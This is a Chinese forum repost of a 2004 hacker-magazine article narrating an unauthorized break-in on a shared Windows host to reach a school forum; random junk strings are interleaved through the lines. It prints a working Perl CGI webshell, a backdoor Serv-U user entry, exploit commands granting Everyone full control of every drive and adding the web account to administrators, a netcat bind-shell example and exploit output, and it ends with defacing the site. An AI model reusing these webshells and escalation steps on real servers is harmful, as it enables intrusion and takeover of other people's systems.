找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1956|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
, ]) N' J; T) A1 N  f本文作者:angel
# e$ ?- h) `# q8 O6 i, {, P: b文章性质:原创
9 x: }1 Q( [) p- k% R发布日期:2004-11-09 1 Q$ D* t8 ~, G* c
注意:
4 j; [* M) A0 S/ j1 \# D, Z% F本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。9 l* [" O, y7 @
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。( p3 b4 a. U, N2 N( z5 s
2 v! ^8 W" k. T' C2 [8 B  r' p5 n
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
* i' W0 z/ r' U6 ~4 C5 [9 E) t. a8 l3 n  s: p! _  L$ X6 }# K7 c
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 ( K1 x& R" [. X( [- o

4 M' P; B: I5 S/ z1 i  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
) Z. Y  R) D7 {/ Q( i
4 L7 }" g% p+ G) _/ w: ]( `( T  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 " y+ `5 X7 @& D1 J0 J3 s8 L

$ E+ s7 [5 g6 f+ e7 j9 [/ M" y  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
# B$ W6 n, i: V% S" T" o* I
' {& a3 p0 }( [/ Z' e* ?  没有目的的跳转目录着……
/ j( y" O( M+ T/ E. T' n0 x, ?) y6 y- t( A# p/ c
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
! R+ j" Q& i6 [4 S4 l$ v
, p& }; f3 F0 i  结束了吗?不,我试着 FTP 一下: : @1 w0 P+ M! R1 ?* S) q" S
" m. C; }3 G6 O& X' P
Microsoft Windows 2000 [Version 5.00.2195]
( H! |3 i; B: J' r6 U(C) 版权所有 1985-2000 Microsoft Corp. 2 {2 Q3 D0 L9 Q0 S8 m
8 B# c; I  O0 v3 S4 L" J" V
C:\Documents and Settings\Administrator>ftp www.school.com
  T$ T$ t; L& t: A% uConnected to www. school.com. + y) t) |; O# ^1 n' I* `4 n' _3 N
220 Welcome to FTP Server...
; B7 y7 ^& `9 m8 x8 {User (www.bjtrq.com:(none)):
; F7 n0 Y3 ]8 f3 K4 _; u331 User name okay, need password.
5 }1 q7 z; P/ D8 j" H* J" ?$ BPassword: # a5 r) D* v- e8 t
530 Not logged in.
# q+ {5 I- n/ M" x4 e. u& p. hLogin failed. - S6 ?* g9 A' F$ u; R: B
ftp> bye 4 Z+ `. Z* r) ^7 [. l% D
221 Goodbye! 9 g8 v+ R0 o3 J1 U; b3 ], x: w' J
6 W4 g4 H, @- v9 q- W( r

2 L/ l+ W; W7 X; J; O  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… - ~; _& c- p: Q  _
* L" W% G* T. M0 `, O
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 . q5 }( |& @0 I7 W
/ U! b+ u& ^0 e9 L
Application Data' l+ |! b0 e5 j& X: D
Documents+ z9 U% c) Q9 u3 E1 A2 s' r
DRM
" z& B$ _! ?) dFavorites/ ?, N3 x3 x4 [) e
Templates* ]) a/ l3 [# S7 q7 y4 l" e- t
「开始」菜单/ |9 B! b& [4 y6 R1 G1 T/ f
桌面
& `- i& b/ W$ u& K
/ @) H4 [" ^) U4 C. Q
+ e2 E6 C: D; j' a1 C: g  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, ) b- }9 U: F6 u  Q' L. J

. m5 S" w2 h2 s0 i% oActiveState ActivePerl 5.8% G7 a2 Q' @& R8 l
Administrative Tools
: f- E: h9 x; |) VDeerfield.com
2 X2 v; z) D6 M# |  RDTemp# O+ Y5 A5 q5 E& V2 `
IPSentry  [- |7 W# `8 t, s5 q/ U( @
MBM 5
3 }* q2 l1 G& w& j. x1 a/ M4 }NetMeter
( u6 ~, e, I. I/ g. g( ~Network ICE
% d! ?9 u$ S+ y2 F6 k- ]3 x# [0 ^( ?Persits Software AspEmail  e* g: O& X( h9 o" C7 Y
Persits Software AspJpeg  F6 }2 A5 g5 ~: y
Serv-U FTP Server
  }# t$ V0 X* c  `Symantec Client Security
/ e9 d) {% ?. z' h" ]- gWindows 优化大师
. P) r9 B+ i9 O0 P0 S1 T# t# WWinRAR
' h, L6 @) m1 v启动
1 i; [3 Q9 @/ a! O管理工具
1 |- Z* c% u, K) Z) Z% G附件$ A/ m  P  N: F

% g5 d3 ~3 q5 e9 v
4 Y2 i1 M# h, e, D, W) A  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
7 L3 B* O! C6 z" Z5 Z! U  j" R8 ~/ Y' k" K
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
0 L0 i' V1 `6 Q% l3 T- Q1 n- Q9 B4 r# D7 C! E2 {$ D* _7 `! }6 N+ j+ H
User281=angel|1|0
# r1 t9 f) r" D% `
2 i1 x  R9 `( Z7 F% u$ m; [% O4 q6 e! N! w) W1 K, U! u# H8 h
  然后加上
; X: A$ Z  G) _7 K3 P3 q
* h2 x5 Z6 J0 F' g[USER=angel|1]* I* b" g& b, c: f/ k
Password=ng98F85379EA68DBF97BAADCA99B69B8058 N$ ?% O6 P9 u3 Y" k
HomeDir=D:\websites
( x8 S6 E" S6 \1 n/ m7 gRelPaths=1
- K) \) k" N8 o1 h8 i( C0 yTimeOut=600( I" f  J% S8 s: |4 ]1 j  U. m+ S2 P
Maintenance=System( L4 {. {6 K7 d
Access1=D:\websites|RWAMELCDP
, g8 Y) p/ z1 I2 i6 USKEYValues=
( ~+ ]6 q7 [. |8 w 7 z* m5 J: g; A, L$ o* m9 J% L/ o

9 }" f4 e7 p6 ?  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 2 {7 q# S! F: p8 K  J2 N. U
( k+ a* @$ l" b" Y8 t
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
& u# y, ]1 F2 E6 e3 a% |" X1 d# t. L! C
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 : Q9 |* \5 {" N# c2 z

& p. m6 I6 I6 v' \1 G; d8 S  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
/ d. C& f8 w- x' t5 Y! O" s1 Q6 D- j. N  J
#!/usr/bin/perl
( r# o. {- R% @( P1 mbinmode(STDOUT);
2 V' y1 l% P1 N& jsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
. V6 p' t+ E7 K6 V7 o$ R$_ = $ENV{QUERY_STRING};
1 I  n& Z6 A) G+ _s/%20/ /ig;
$ u$ M8 ~5 A8 m+ [+ Z7 h$ ~! os/%2f/\//ig;
+ H% h( V5 B0 e7 k# @$execthis = $_;( M- c8 e! u0 o# ], N0 G  z2 L6 [
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);4 S* d9 ~. Q( e- y3 N+ x/ e
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
" h" n  W3 P' G+ @, a1 U0 usystem($execthis);8 F/ b& C+ G- P" V7 l2 J: s
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
) _7 n+ |( k9 M; \8 y6 v8 p, _0 bclose(STDERR);
  ~( m9 I) x1 [3 e: D7 Gclose(STDOUT);2 O% j# _$ G' y% V5 J. i5 _, K
exit;
$ H# R/ O/ x3 x4 |. N7 i, W- ~! J) [* \) l 8 U& v' _' x; U0 B

- t0 U' a3 {) h  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
; V; n. }- @. C
% Y) r. I" }1 b  w) ~+ y5 k' S  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:   x9 z6 A, b3 r. d( W7 ~
! k) [' p% I6 u6 D* N. `
http://anyhost//cmd.pl?d:\user\bin\su.exe
  {& ^, H& f3 ~. H+ m 1 p- }% {  A8 x' |

0 u( J  Q+ H0 L3 {3 D- l9 j. d  返回: ) e" `2 {! W' q* q+ p
6 ]6 [# F: x5 |( H9 A6 |! h
Serv-u >3.x Local Exploit by xiaolu
+ M1 o8 ^- j7 ?. X  [/ x+ V6 d! D9 i* w  e: j8 H2 Q! C% \
USAGE: serv-u.exe "command"
! c  T% t9 o6 x  ^
( e) a( T" s  G& IExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 5 p" ]$ n) k2 V8 H. k4 T
! C+ S6 A$ l+ u: V

3 f% n5 b2 f3 h! M4 _! ?  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: . Q2 S$ g5 s* K; _
7 R+ a5 m5 U7 A1 q: p% E8 C- E
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 0 L' X" L( R5 ]2 _/ v8 D, y
9 k9 d  }4 G" Y+ _4 ~; S- c
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" & C+ L* Y: f3 L. X# s6 u
+ J3 p0 Q' w1 ~
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
+ g, O9 m( u6 q0 y' p, z0 T
9 [' f3 e& U+ A& }http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" $ `/ C+ s' ~1 M: _
7 G3 O, Y: x' ]/ @
& p2 X8 K) C0 C& l5 s
  返回下面的信息,就表示成功了!!!
  S& j) r, Y, `. ^- _/ U9 t* f' A
# k  Z. a; Z7 f  h* T! ]7 o- K# NServ-u >3.x Local Exploit by xiaolu
+ X8 g# r9 V. s9 C3 k
2 _6 `' x0 K0 e. v<220 Serv-U FTP Server v5.2 for WinSock ready...
: t5 U' t" O. W/ G! X+ }7 r
4 l$ ~  s2 `" E) V9 |>USER LocalAdministrator 9 ^, g5 p) t, O, g% i
$ |/ o! j; o. [& L) ~
<331 User name okay, need password. 2 o# n* {8 T# F

; N4 h+ i# b, G1 N0 m/ h****************************************************** ! h0 y: ^& V# Q( C& n8 l1 N+ {
: f. Q$ q2 p2 T0 y
>PASS #l@$ak#.lk;0@P
) [$ M  ?$ W3 _1 C0 ]% W3 j+ l" w; g$ W; {
<230 User logged in, proceed. $ N+ h" A& I$ b! v4 G3 `5 n
; c, k9 n3 n# J, a- \: n/ i
******************************************************
" k$ U$ D1 ~0 F1 c4 n" _8 g. W4 s/ \# ~  j0 A, m- C6 O, p: o
>SITE MAINTENANCE
) x, j; m# d9 D* y2 f+ _
: d5 Q. w) S  V" Z0 F****************************************************** $ ?8 M( h' g8 l6 ^& O/ `9 I

1 {4 `, q0 z/ e/ K[+] Creating New Domain...
8 N4 Q, P! a& E& E; ^  G4 b% E8 i, A
<200-DomainID=2
/ w8 ?( O7 K# D2 M3 ^/ g
4 E( Y1 F3 y. q<220 Domain settings saved % O  l  D0 `7 ?& E& c

6 u: f& V, z; B: w4 n****************************************************** 0 s! b6 a: Z0 V1 {: N
* g$ v0 U! J5 e+ ]5 i: z. Y8 }$ a
[+] Domain xl:2 Created 2 F- }1 z1 ]! y+ ]* t9 v

# z: M* d% Q( }$ t8 |) h[+] Creating Evil User 9 R" `& M8 d3 k9 n! p; @( m0 r
1 E& G: c# G! r3 O
<200-User=xl
8 p/ c1 N' N+ D
. b' g5 c1 t6 n, H/ p# w200 User settings saved
) B0 S6 q  H  o0 J, M# Y8 X& d1 B- R: V1 C8 b% z0 A4 R6 K' [
****************************************************** 6 Q1 t$ T, X* i! g# t
/ I( d+ B& T0 W
[+] Now Exploiting...
4 K- D4 a* L" [* k2 K6 C5 z" {$ _
>USER xl ! ~! L$ x8 F2 q% L

- j. h4 J$ d' l4 x" D<331 User name okay, need password.
) Y( U; \, g- ?9 h' O" y' K( W. u/ _( v% Y1 d$ C3 {) S
****************************************************** 9 @. |$ ]/ ^% l  \: B# j' x

2 M# x. R+ s3 y: z& ]/ D>PASS 111111 * W$ z! O- U- ]. u( ~. k7 |. s
  `1 S$ Z2 h2 h) d; w0 @
<230 User logged in, proceed. & O& g$ \& K# e" v2 G

2 t- {" f6 F4 p/ E5 h******************************************************
5 u) z" W6 q1 e1 R# ~- T. E7 Q2 ?" x1 K5 b; |7 `; I$ G! T
[+] Now Executing: cacls.exe c: /E /T /G everyone:F $ R+ ~1 K6 U! N. \% Q% E- R( w
0 ], g. u6 Q% p! q
<220 Domain deleted
; l4 T/ }& o! `5 J4 Z( @6 X) X( W! P% l  {) w
****************************************************** : ]8 \8 X; c+ l6 v( F; Z

0 S, h; I" _( E1 T5 y1 I
- U1 J% j4 y. P3 X% a& [/ _  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
" `, P1 P) P7 `
+ e2 e* b5 Z: f3 m) T% t' @http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" % |, ]$ O4 f3 d3 t3 x9 B; x
4 H: o  V0 I$ x. X( q. P$ n2 \

' d4 d( t; Q+ G1 A9 t8 G* N  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
4 c3 L+ {+ C4 Q4 r" G% j2 \9 S( I7 J- U% m+ B- h5 I
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
- |* k* \  Z+ W( O4 T " L9 e% }* X/ g% G4 g
  
- D* T  o* p) o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表